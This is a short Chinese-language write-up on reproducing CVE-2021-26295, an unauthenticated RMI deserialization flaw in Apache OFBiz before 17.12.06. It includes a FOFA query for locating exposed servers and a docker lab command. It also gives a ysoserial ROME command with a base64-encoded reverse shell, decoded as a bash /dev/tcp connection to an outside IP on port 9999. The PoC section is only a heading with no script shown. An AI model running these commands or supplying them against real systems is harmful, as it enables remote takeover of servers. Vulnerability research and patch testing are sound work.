Apache OFBiz RMI反序列化漏洞 CVE-2021-26295

漏洞描述

OFBiz是基于Java的Web框架，包括实体引擎，服务引擎和基于小部件的UI。

近日，Apache OFBiz官方发布安全更新。Apache OFBiz 存在RMI反序列化前台命令执行，未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz，建议相关用户尽快测试漏洞修复的版本并及时升级。

漏洞影响

Apache OFBiz < 17.12.06

FOFA

app="Apache_OFBiz"

环境搭建

docker run -d -p 8000:8080 -p 8443:8443  opensourceknight/ofbiz

漏洞复现

使用文章目录中的POC脚本 验证 Dnslog

1

1

反弹shell使用 ROME反序列化链就行了

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME  "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvLyA8JjEn}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\\n'

bash -c 'exec bash -i &>/dev/tcp/81.68.139.186/9999 <&1'   base64加密写入然后执行命令

2

2

然后把数据填入下面的 反弹shell脚本中的Hex_data参数中运行脚本即可反弹shell

3

3

漏洞POC